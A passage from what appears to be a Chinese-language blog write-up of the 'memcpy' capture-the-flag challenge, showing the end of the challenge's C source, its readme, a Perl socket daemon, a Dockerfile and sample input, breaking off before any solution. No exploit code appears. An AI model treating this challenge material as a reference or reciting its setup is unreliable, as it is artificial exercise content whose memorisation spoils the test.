</span></span><span class="line"><span class="ln">113</span><span class="cl">        <span class="c1">// run experiment
</span></span></span><span class="line"><span class="ln">114</span><span class="cl">        <span class="c1">// 开始实验，把所有输入的大小都用两种复制方式，计算时长。
</span></span></span><span class="line"><span class="ln">115</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">i</span><span class="o">&lt;</span><span class="mi">10</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">116</span><span class="cl">                <span class="n">size</span> <span class="o">=</span> <span class="n">sizes</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">117</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;experiment %d : memcpy with buffer size %d</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">118</span><span class="cl">                <span class="n">dest</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span> <span class="n">size</span> <span class="p">);</span>
</span></span><span class="line"><span class="ln">119</span><span class="cl">
</span></span><span class="line"><span class="ln">120</span><span class="cl">                <span class="nf">memcpy</span><span class="p">(</span><span class="n">cache1</span><span class="p">,</span> <span class="n">cache2</span><span class="p">,</span> <span class="mh">0x4000</span><span class="p">);</span>         <span class="c1">// to eliminate cache effect
</span></span></span><span class="line"><span class="ln">121</span><span class="cl">                <span class="n">t1</span> <span class="o">=</span> <span class="nf">rdtsc</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">122</span><span class="cl">                <span class="nf">slow_memcpy</span><span class="p">(</span><span class="n">dest</span><span class="p">,</span> <span class="n">src</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>           <span class="c1">// byte-to-byte memcpy
</span></span></span><span class="line"><span class="ln">123</span><span class="cl">                <span class="n">t2</span> <span class="o">=</span> <span class="nf">rdtsc</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">124</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;ellapsed CPU cycles for slow_memcpy : %llu</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">t2</span><span class="o">-</span><span class="n">t1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">125</span><span class="cl">
</span></span><span class="line"><span class="ln">126</span><span class="cl">                <span class="nf">memcpy</span><span class="p">(</span><span class="n">cache1</span><span class="p">,</span> <span class="n">cache2</span><span class="p">,</span> <span class="mh">0x4000</span><span class="p">);</span>         <span class="c1">// to eliminate cache effect
</span></span></span><span class="line"><span class="ln">127</span><span class="cl">                <span class="n">t1</span> <span class="o">=</span> <span class="nf">rdtsc</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">128</span><span class="cl">                <span class="nf">fast_memcpy</span><span class="p">(</span><span class="n">dest</span><span class="p">,</span> <span class="n">src</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>           <span class="c1">// block-to-block memcpy
</span></span></span><span class="line"><span class="ln">129</span><span class="cl">                <span class="n">t2</span> <span class="o">=</span> <span class="nf">rdtsc</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">130</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;ellapsed CPU cycles for fast_memcpy : %llu</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">t2</span><span class="o">-</span><span class="n">t1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">131</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">132</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">133</span><span class="cl">
</span></span><span class="line"><span class="ln">134</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;thanks for helping my experiment!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">135</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;flag : [erased here. get it from server]</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">136</span><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">137</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">the compiled binary of &#34;memcpy.c&#34; source code (with real flag) will be executed under memcpy_pwn privilege if you connect to port 9022.
</span></span><span class="line"><span class="ln">2</span><span class="cl">execute the binary by connecting to daemon(nc 0 9022).
</span></span><span class="line"><span class="ln">3</span><span class="cl">
</span></span><span class="line"><span class="ln">4</span><span class="cl">nc 0 2000 if service is down</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-perl" data-lang="perl"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="ch">#!/usr/bin/perl</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">use</span> <span class="nn">Socket</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="nv">$port</span> <span class="o">=</span> <span class="mi">9022</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="nv">@exec</span> <span class="o">=</span> <span class="p">(</span><span class="s">&#34;/home/memcpy_pwn/memcpy&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="nb">socket</span><span class="p">(</span><span class="n">SERVER</span><span class="p">,</span> <span class="n">PF_INET</span><span class="p">,</span> <span class="n">SOCK_STREAM</span><span class="p">,</span> <span class="mi">6</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="nb">setsockopt</span><span class="p">(</span><span class="n">SERVER</span><span class="p">,</span> <span class="n">SOL_SOCKET</span><span class="p">,</span> <span class="n">SO_REUSEADDR</span><span class="p">,</span> <span class="nb">pack</span><span class="p">(</span><span class="s">&#34;l&#34;</span><span class="p">,</span> <span class="mi">1</span><span class="p">));</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="nb">bind</span><span class="p">(</span><span class="n">SERVER</span><span class="p">,</span> <span class="n">sockaddr_in</span><span class="p">(</span><span class="nv">$port</span><span class="p">,</span> <span class="n">INADDR_ANY</span><span class="p">));</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="nb">listen</span><span class="p">(</span><span class="n">SERVER</span><span class="p">,</span><span class="n">SOMAXCONN</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="nv">$SIG</span><span class="p">{</span><span class="s">&#34;CHLD&#34;</span><span class="p">}</span> <span class="o">=</span> <span class="s">&#34;IGNORE&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="k">while</span><span class="p">(</span><span class="nv">$addr</span> <span class="o">=</span> <span class="nb">accept</span> <span class="n">CLIENT</span><span class="p">,</span> <span class="n">SERVER</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="vg">$|</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="p">(</span><span class="nv">$port</span><span class="p">,</span> <span class="nv">$packed_ip</span><span class="p">)</span> <span class="o">=</span> <span class="n">sockaddr_in</span><span class="p">(</span><span class="nv">$addr</span><span class="p">);</span> 
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="nv">$datestring</span> <span class="o">=</span> <span class="nb">localtime</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="nv">$ip</span> <span class="o">=</span> <span class="n">inet_ntoa</span><span class="p">(</span><span class="nv">$packed_ip</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="k">print</span> <span class="s">&#34;$ip: $port connected($datestring)\n&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="nb">fork</span> <span class="o">||</span> <span class="k">do</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">        <span class="vg">$|</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">        <span class="nb">close</span> <span class="n">SERVER</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">        <span class="nb">open</span> <span class="bp">STDIN</span><span class="p">,</span>  <span class="s">&#34;&lt;&amp;CLIENT&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="nb">open</span> <span class="bp">STDOUT</span><span class="p">,</span> <span class="s">&#34;&gt;&amp;CLIENT&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">        <span class="nb">open</span> <span class="bp">STDERR</span><span class="p">,</span> <span class="s">&#34;&gt;&amp;CLIENT&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="nb">close</span> <span class="n">CLIENT</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">        <span class="nb">exec</span> <span class="nv">@exec</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">        <span class="nb">exit</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="p">};</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="nb">close</span> <span class="n">CLIENT</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="nb">close</span> <span class="n">SERVER</span><span class="p">;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">perl</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-dockerfile" data-lang="dockerfile"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="k">FROM</span><span class="w"> </span><span class="s">ubuntu:16.04</span><span class="err">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">RUN</span> dpkg --add-architecture i386 <span class="o">&amp;&amp;</span> <span class="se">\
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">    apt update <span class="o">&amp;&amp;</span> <span class="se">\
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">    apt install -y gcc-multilib libc6:i386 lib32stdc++6 lib32z1 gdb file net-tools<span class="err">
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="k">RUN</span> apt-get install -y perl<span class="err">
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="k">RUN</span> useradd -u <span class="m">1089</span> -m memcpy_pwn<span class="err">
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="k">COPY</span> memcpy.c /home/memcpy_pwn/memcpy.c<span class="err">
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="k">COPY</span> super.pl /home/memcpy_pwn/super.pl<span class="err">
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="k">RUN</span> chown root:memcpy_pwn /home/memcpy_pwn/memcpy.c /home/memcpy_pwn/super.pl<span class="err">
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="k">WORKDIR</span><span class="w"> </span><span class="s">/home/memcpy_pwn</span><span class="err">
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="k">RUN</span> gcc -o memcpy memcpy.c -m32 -lm<span class="err">
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="k">RUN</span> chown root:memcpy_pwn /home/memcpy_pwn/memcpy<span class="err">
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="k">RUN</span> chmod <span class="m">550</span> /home/memcpy_pwn/memcpy<span class="err">
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="k">RUN</span> chmod <span class="m">550</span> /home/memcpy_pwn/super.pl<span class="err">
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="k">USER</span><span class="w"> </span><span class="s">memcpy_pwn</span><span class="err">
</span></span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="k">WORKDIR</span><span class="w"> </span><span class="s">/home</span><span class="err">
</span></span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="k">CMD</span> <span class="p">[</span><span class="s2">&#34;perl&#34;</span><span class="p">,</span> <span class="s2">&#34;/home/memcpy_pwn/super.pl&#34;</span><span class="p">]</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">dockerfile</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>好多文件，首先要读懂那个c文件。就是做实验，对比两种复制块的方法，哪一种更快。
为什么用 mmap？为了避开 malloc 缓存、避开用户态内存管理，获得最干净、最稳定的内存，保证实验准确。</p>
<p>服务器上才有flag，我们输入十次看看，像白给的。</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln"> 1</span><span class="cl">This time, just help me out with my experiment and get flag
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">No fancy hacking, I promise :D
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">specify the memcpy amount between 8 ~ 16 : 10
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">specify the memcpy amount between 16 ~ 32 : 20
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">specify the memcpy amount between 32 ~ 64 : 40
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">specify the memcpy amount between 64 ~ 128 : 80
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">specify the memcpy amount between 128 ~ 256 : 200
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">specify the memcpy amount between 256 ~ 512 : 400
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">specify the memcpy amount between 512 ~ 1024 : 800
</span></span><span class="line"><span class="ln">10</span><span class="cl">specify the memcpy amount between 1024 ~ 2048 : 1500
</span></span><span class="line"><span class="ln">11</span><span class="cl">specify the memcpy amount between 2048 ~ 4096 : 3000
</span></span><span class="line"><span class="ln">12</span><span class="cl">specify the memcpy amount between 4096 ~ 8192 : 6000
